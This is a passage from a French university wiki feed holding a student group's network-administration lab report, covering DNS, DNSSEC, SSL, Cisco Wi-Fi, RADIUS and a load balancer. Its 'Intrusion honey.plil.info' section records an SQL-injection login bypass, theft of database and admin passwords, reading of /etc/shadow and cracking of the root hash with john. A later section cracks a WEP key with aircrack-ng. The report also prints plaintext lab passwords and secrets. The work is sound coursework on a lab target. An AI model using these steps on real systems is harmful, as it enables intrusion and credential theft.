     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot;    &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 - name: Deploiement&lt;br /&gt;
   hosts: webinterne&lt;br /&gt;
   roles:&lt;br /&gt;
      - deployer&lt;br /&gt;
&lt;br /&gt;
Dans notre VM sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; on peut alors lancer le playbook (après que le push et le pull aient été fait sans erreur).&lt;br /&gt;
 ansible-playbook first_play.yml&lt;br /&gt;
&lt;br /&gt;
Notre conteneur web s'est déployé correctement sur les VM des groupes 4 et 5. Les autres Vm n'ont pas tous les packages nécessaires (docker ou docker-py) ou ne sont pas joignables.&lt;br /&gt;
&lt;br /&gt;
===Équilibreur de charge (load balancer)===&lt;br /&gt;
&lt;br /&gt;
On met en place un second serveur Web qui se comporte comme un serveur mandataire inverse (reverse proxy) et comme un équilibreur de charge (load balancer).&lt;br /&gt;
&lt;br /&gt;
'''enregistrement de type CNAME dans notre DNS'''&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; dans &amp;lt;code&amp;gt;/etc/bind/db.girolle.site &amp;lt;/code&amp;gt; on ajoute un deuxième CNAME :&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns1.girolle.site. postmaster.girolle.site. (&lt;br /&gt;
	 		      6		; Serial&lt;br /&gt;
		 	 604800		; Refresh&lt;br /&gt;
			  86400		; Retry&lt;br /&gt;
			2419200		; Expire&lt;br /&gt;
			 604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182 &lt;br /&gt;
 @	IN	MX	100 ns1.girolle.site.&lt;br /&gt;
 &lt;br /&gt;
 www	IN	CNAME	ns1&lt;br /&gt;
 reverse	IN	CNAME	www&lt;br /&gt;
 &lt;br /&gt;
 $include /etc/bind/girolle_dnssec/girolle.site-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/girolle.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans &amp;lt;code&amp;gt;/etc/apache2/sites-available&amp;lt;/code&amp;gt; on crée un nouveau fichier de configuration &amp;lt;code&amp;gt;reverse.conf/code&amp;gt; pour le second serveur web.&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  ServerName reverse.girolle.site&lt;br /&gt;
  ServerAdmin webmaster@localhost&lt;br /&gt;
  &amp;lt;Proxy &amp;quot;balancer://myloadbalance&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;	  BalancerMember &amp;quot;http://192.168.42.2:8087&amp;quot; route=1&amp;lt;/code&amp;gt;&lt;br /&gt;
	  BalancerMember &amp;quot;http://192.168.42.4:8087&amp;quot; route=2&lt;br /&gt;
&amp;lt;code&amp;gt;	  BalancerMember &amp;quot;http://192.168.42.5:8087&amp;quot; route=3&amp;lt;/code&amp;gt;&lt;br /&gt;
          BalancerMember &amp;quot;http://192.168.42.7:8087&amp;quot; route=4&lt;br /&gt;
	  BalancerMember &amp;quot;http://192.168.42.9:8087&amp;quot; route=5&lt;br /&gt;
          BalancerMember &amp;quot;http://192.168.42.12:8087&amp;quot; route=6&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;	  ProxySet lbmethod=byrequests&lt;br /&gt;
  &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
  ProxyPass &amp;quot;/&amp;quot;  &amp;quot;balancer://myloadbalance/&amp;quot;&lt;br /&gt;
  ProxyPassReverse &amp;quot;/&amp;quot;  &amp;quot;balancer://myloadbalance/&amp;quot;&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
 # vim: syntax=apache ts=4 sw=4 sts=4 sr noet&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour utiliser Apache en mode proxy inverse, il nous faut activer les 2 modules proxy et proxy_http via la commande a2enmod.&lt;br /&gt;
# a2enmod proxy proxy_http&lt;br /&gt;
&lt;br /&gt;
Le module proxy permet l’implémentation d’un serveur mandataire / passerelle.&lt;br /&gt;
Le module proxy_http apporte le support des requêtes HTTP et HTTPS au module proxy.&lt;br /&gt;
&lt;br /&gt;
Pour activer ces services, il est nécessaire de redémarrer apache.&lt;br /&gt;
# service apache2 restart&lt;/div&gt;</summary>
		<author><name>Cbisalli</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55023</id>
		<title>TP sysres IMA5sc 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55023"/>
				<updated>2020-12-18T23:40:33Z</updated>
		
		<summary type="html">&lt;p&gt;Cbisalli : /* Équilibreur de charge (load balancer) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Explication Infrastructure ==&lt;br /&gt;
&lt;br /&gt;
==Installation VM==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh:&lt;br /&gt;
 ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Commande (en root su -):&lt;br /&gt;
 xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force&lt;br /&gt;
&amp;lt;br&amp;gt; MAJ gateway : 161&lt;br /&gt;
&amp;lt;br&amp;gt;Nom de domaine: girolle.site&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse IP : 100.64.0.24 MAJ: 193.48.57.172&lt;br /&gt;
&amp;lt;br&amp;gt;Netmask: 255.255.255.240 MAJ: 255.255.255.224&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse MAC : 00:16:3E:3E:E3:15&lt;br /&gt;
&lt;br /&gt;
Repartition des volumes logiques : &lt;br /&gt;
 lvdisplay &lt;br /&gt;
 lvrename &lt;br /&gt;
&lt;br /&gt;
Dans le fichier de configuration de la machine : girolle.cfg&lt;br /&gt;
on rajoute var et home :&lt;br /&gt;
lignes 'phy:/.../xdva3'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Commandes pour creer et acceder a la VM :&lt;br /&gt;
&lt;br /&gt;
 xl create -c etc/xen/girolle.cfg&lt;br /&gt;
 '''xl console girolle'''&lt;br /&gt;
&lt;br /&gt;
Commandes sur la vm: &lt;br /&gt;
&lt;br /&gt;
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4 &lt;br /&gt;
&lt;br /&gt;
au prealable il faut &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) formater la partition : &lt;br /&gt;
 mkfs -t ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
2) Monter la partition que l'on veut sur /mnt &lt;br /&gt;
 mount /dev/xvda4 /mnt&lt;br /&gt;
3) Migrer tout le contenu de var dans mnt &lt;br /&gt;
 cd /var&lt;br /&gt;
 mv * /mnt&lt;br /&gt;
&lt;br /&gt;
4) Dans le fichier fstab rajouter :&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
5) Unmout mnt &lt;br /&gt;
 umount /mnt&lt;br /&gt;
&lt;br /&gt;
6) Monter tout sur dev/xdva&lt;br /&gt;
 mount -a &lt;br /&gt;
7)Verification &lt;br /&gt;
 df&lt;br /&gt;
 dpkg -l&lt;br /&gt;
&lt;br /&gt;
== Activation connexion ssh ==&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
On décommente la ligne PermissionRoot :  &lt;br /&gt;
 # Authentication:&lt;br /&gt;
 #LoginGraceTime 2m&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
Puis on l'active avec la commande :&lt;br /&gt;
 service sshd restart&lt;br /&gt;
&lt;br /&gt;
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)&lt;br /&gt;
&lt;br /&gt;
==Redirection DNS==&lt;br /&gt;
&lt;br /&gt;
=== Sur Gandi ===&lt;br /&gt;
&lt;br /&gt;
Achat d'un nom de domaine : girolle.site&lt;br /&gt;
Création d'un Glue Record : 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Serveur DNS primaire : ns1.girolle.site (193.48.57.182)&lt;br /&gt;
Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Installation de bind9&lt;br /&gt;
On modifie les fichiers dans /etc/bind/named.conf.&lt;br /&gt;
Dans /etc/bind/named.conf.options&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/bind&amp;quot;;&lt;br /&gt;
   listen-on-v6 { any; };&lt;br /&gt;
   allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;girolle.site/girolle&amp;quot;;&lt;br /&gt;
   allow-transfer (217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans db.girolle.site&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA      ns1.girolle.site.  postmaster.girolle.site(&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182&lt;br /&gt;
 @       IN      MX      100 girolle.site.&lt;br /&gt;
&lt;br /&gt;
 www      IN      CNAME   ns1&lt;br /&gt;
&lt;br /&gt;
Puis pour le relancer :&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Configuration pour la réception du mail de confirmation du certificat SSL&lt;br /&gt;
Installer Postfixe pour avoir accès au fichier aliases&lt;br /&gt;
 Internet Site&lt;br /&gt;
 girolle.site&lt;br /&gt;
&lt;br /&gt;
Dans /etc/aliases&lt;br /&gt;
 admin: root&lt;br /&gt;
&lt;br /&gt;
Puis ajouter dans newaliases&lt;br /&gt;
Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site&lt;br /&gt;
&lt;br /&gt;
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation de mailx pour lire les mails reçus&lt;br /&gt;
 apt-install bsd-mailx&lt;br /&gt;
Pour consulter le mail de vérification&lt;br /&gt;
 mailx admin&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation par certificat SSL ===&lt;br /&gt;
&lt;br /&gt;
Génération du CSR à l'aide d'openssl&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr&lt;br /&gt;
&lt;br /&gt;
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur apache2&lt;br /&gt;
&lt;br /&gt;
Activation du ssl sur apache2 &lt;br /&gt;
 ae2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;                                                                                                         &lt;br /&gt;
  ServerName www.girolle.site                                                                                             &lt;br /&gt;
  Redirect / https://www.girolle.site       &lt;br /&gt;
  ....                                                                        &lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.182:443&amp;gt;&lt;br /&gt;
     DocumentRoot /var/www/html2&lt;br /&gt;
     ServerName girolle.site&lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /root/girolle.site.crt&lt;br /&gt;
         SSLCertificateKeyFile /root/girolle.site.key&lt;br /&gt;
         SSLCertificateChainFile /root/GandiCA.pem&lt;br /&gt;
     &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verifications:&lt;br /&gt;
 host -t soa girolle.site ns6.gandi.net&lt;br /&gt;
 Sur Zabeth : host www.girolle.site&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options&lt;br /&gt;
On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées:&lt;br /&gt;
Une clef asymétrique de signature de clefs de zone &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Une clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site&lt;br /&gt;
&lt;br /&gt;
On renomme les deux paires de clés de la façon suivante :&lt;br /&gt;
  &lt;br /&gt;
 Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private&lt;br /&gt;
 Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private&lt;br /&gt;
&lt;br /&gt;
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrement de la zone avec la commande&lt;br /&gt;
 dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local on modifie la zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; IN {&lt;br /&gt;
  type master;&lt;br /&gt;
  file &amp;quot;/etc/bind/db.girolle.site.signed&amp;quot;;&lt;br /&gt;
  allow-transfer {227.70.177.40;};&lt;br /&gt;
 };   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).&lt;br /&gt;
&lt;br /&gt;
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Girolle.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
== Configuration des bornes Wi-Fi ==&lt;br /&gt;
&lt;br /&gt;
Borne classique : Cisco - AIR-CAP1602I-E-K9&lt;br /&gt;
&lt;br /&gt;
Configuration IOS en CLI :&lt;br /&gt;
&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 aaa group server radius radius_girolle&lt;br /&gt;
 server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 !&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group1&lt;br /&gt;
 aaa authentication login eap_girolle group radius_girolle&lt;br /&gt;
 !         &lt;br /&gt;
 dot11 ssid SSID_GIROLLE&lt;br /&gt;
    vlan 107&lt;br /&gt;
    authentication open eap eap_girolle &lt;br /&gt;
    authentication network-eap eap_girolle &lt;br /&gt;
    authentication key-management wpa&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 ...&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
  encryption vlan 101 mode ciphers aes-ccm tkip&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 interface BVI1&lt;br /&gt;
 ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 !&lt;br /&gt;
 radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10.60.100.10 : adresse IP fixe du point d'accès&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commandes et verifications /&lt;br /&gt;
 ap(config)#interface BVI1&lt;br /&gt;
 ap(config-if)# ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 ap(config-if)#exit&lt;br /&gt;
 ap#write&lt;br /&gt;
 PING ROUTEUR 1 POUR VERIFIER LA CONNEXION&lt;br /&gt;
 ap#ping 10.60.100.2 &lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds:&lt;br /&gt;
 .!!!!&lt;br /&gt;
 Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
test second routeur : ne fonctionne pas car pas d'addresse ip&lt;br /&gt;
 ap#ping 10.60.100.1&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds:&lt;br /&gt;
 .....&lt;br /&gt;
 Success rate is 0 percent (0/5)&lt;br /&gt;
&lt;br /&gt;
Configurer l'adresse par defaut:&lt;br /&gt;
&lt;br /&gt;
 ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2&lt;br /&gt;
 ap(config)#exit&lt;br /&gt;
 ap#sh ip route&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test ping notre machine virtuelle girolle : &lt;br /&gt;
 ap#ping 193.48.57.182&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds:&lt;br /&gt;
 !!!!!&lt;br /&gt;
 Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
===Sécurisation===&lt;br /&gt;
&lt;br /&gt;
On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7&lt;br /&gt;
 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7&lt;br /&gt;
 wifi-ima5sc(config)# aaa group server radius radius_group7&lt;br /&gt;
 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7&lt;br /&gt;
 wifi-ima5sc(config-radius)# mbssid guest-mode&lt;br /&gt;
 wifi-ima5sc(config-radius)# vlan 307&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication open eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication network-eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Dot11Radio0&lt;br /&gt;
 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip&lt;br /&gt;
 wifi-ima5sc(config-if)# mbssid&lt;br /&gt;
 wifi-ima5sc(config)# ssid SSID_GROUP7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config-subif)# int dot11radio0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Gi0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
===FreeRadius===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/client.conf&lt;br /&gt;
&lt;br /&gt;
 client girolle_wifi {&lt;br /&gt;
     ipaddr = 10.60.100.10&lt;br /&gt;
     secret = secret_group7&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Finalement on lance la commande freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP et mascarade===&lt;br /&gt;
&lt;br /&gt;
On doit implanter une fonction de serveur DHCP sur les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
Pour le 6509E :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255&lt;br /&gt;
 IMA5sc-R1(config)#exit&lt;br /&gt;
 IMA5sc-R1#sh ip dhcp binding&lt;br /&gt;
 IMA5sc-R1#ping 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Le ping fonctionne.&lt;br /&gt;
&lt;br /&gt;
Pour le C9200 :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255&lt;br /&gt;
 IMA5sc-R2(config)#exit&lt;br /&gt;
 IMA5sc-R2#sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade (vlan131 -&amp;gt; vlan pour se connecter au routeur):&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 307&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat inside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 131&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat outside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any&lt;br /&gt;
 IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du vlan sur les routeurs&lt;br /&gt;
 vlan 307&lt;br /&gt;
&lt;br /&gt;
==Configuration WLC==&lt;br /&gt;
&lt;br /&gt;
Utilisation de bornes Cisco 2802i&lt;br /&gt;
&lt;br /&gt;
Connection via minicom -os (9600 bauds)&lt;br /&gt;
&lt;br /&gt;
 enable &lt;br /&gt;
 capwap ap ip &amp;lt;ip&amp;gt; &amp;lt;netmask&amp;gt; &amp;lt;gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Intrusion honey.plil.info ==&lt;br /&gt;
&lt;br /&gt;
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1&lt;br /&gt;
&lt;br /&gt;
Admin : admin	jesuislechef	admin	Administrateur&lt;br /&gt;
&lt;br /&gt;
Creer le fichier  etc/phpmyadmin/config-db.php&lt;br /&gt;
en allant dans l'onglet: .... on telecharge le fichier qu'on a crée : &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 ##&lt;br /&gt;
 ## database access settings in php format&lt;br /&gt;
 ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf&lt;br /&gt;
 ## by /usr/sbin/dbconfig-generate-include&lt;br /&gt;
 ##&lt;br /&gt;
 ## by default this file is managed via ucf, so you shouldn't have to&lt;br /&gt;
 ## worry about manual changes being silently discarded.  *however*,&lt;br /&gt;
 ## you'll probably also want to edit the configuration file mentioned&lt;br /&gt;
 ## above too.&lt;br /&gt;
 ##&lt;br /&gt;
 $dbuser='phpmyadmin';&lt;br /&gt;
 $dbpass='gencovid19';&lt;br /&gt;
 $basepath='';&lt;br /&gt;
 $dbname='phpmyadmin';&lt;br /&gt;
 $dbserver='localhost';&lt;br /&gt;
 $dbport='3306';&lt;br /&gt;
 $dbtype='mysql';&lt;br /&gt;
&lt;br /&gt;
on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ &lt;br /&gt;
connexion id : root&lt;br /&gt;
mdp: gencovid19&lt;br /&gt;
&lt;br /&gt;
une fois connecter on recherche les identifiants des utilisateurs ssh :&lt;br /&gt;
id = rex &lt;br /&gt;
mdp: &lt;br /&gt;
&lt;br /&gt;
connexion ssh : ssh rex@honey.plil.info&lt;br /&gt;
 /etc/shadow pour trouver la cle de cryptage du mdp root &lt;br /&gt;
 copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7:::&lt;br /&gt;
 installation de john &lt;br /&gt;
 john nom du fichier&lt;br /&gt;
&lt;br /&gt;
pour aller plus rapidement creer un dictionnaire a partir des indices donnés  : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets'&lt;br /&gt;
utiliseer crunch?&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On utilise le paquet aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
La commande&lt;br /&gt;
 airmon-ng&lt;br /&gt;
permet de voir le nom du réseau sans fil: wlan0mon&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On scanne les réseaux :&lt;br /&gt;
 airodump-ng --encrypte wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On lance avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z testwep-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs web==&lt;br /&gt;
&lt;br /&gt;
===Architecture générale de la ferme===&lt;br /&gt;
&lt;br /&gt;
On travaille avec deux machines virtuelles, l'une sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (celle mise en place en PRA), l'autre sur le serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On ferme la machine virtuelle sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (commande &amp;lt;code&amp;gt;halt&amp;lt;/code&amp;gt;) pour modifier le fichier de configuration &amp;lt;code&amp;gt;girolle.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
On ajoute à la ligne vif &amp;lt;code&amp;gt;'mac=@MAC incrémenté de 1, bridge=bridgeStudents'&amp;lt;/code&amp;gt; avant de la relancer.&lt;br /&gt;
&lt;br /&gt;
'''Interfaces'''&lt;br /&gt;
&lt;br /&gt;
On associe l'adresse IP &amp;lt;code&amp;gt;192.186.42.21&amp;lt;/code&amp;gt; à la VM sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;. Pour cela on l'ajoute dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 auto eth1&lt;br /&gt;
 iface eth1 inet static&lt;br /&gt;
   address 192.168.42.21 &lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
